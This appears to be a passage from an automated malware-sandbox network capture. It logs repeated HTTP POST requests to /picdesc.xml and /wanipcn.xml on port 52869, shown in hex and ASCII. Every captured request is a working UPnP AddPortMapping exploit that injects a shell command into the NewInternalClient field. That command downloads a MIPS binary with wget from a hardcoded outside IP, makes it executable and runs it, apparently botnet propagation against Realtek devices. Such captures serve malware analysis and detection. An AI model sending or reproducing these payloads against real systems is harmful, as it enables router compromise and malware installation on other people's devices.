                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:17.464524984 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      20192.168.2.155817845.250.40.4852869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:43.627415895 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:45.403203964 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:47.611097097 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:51.962992907 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:00.410713911 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
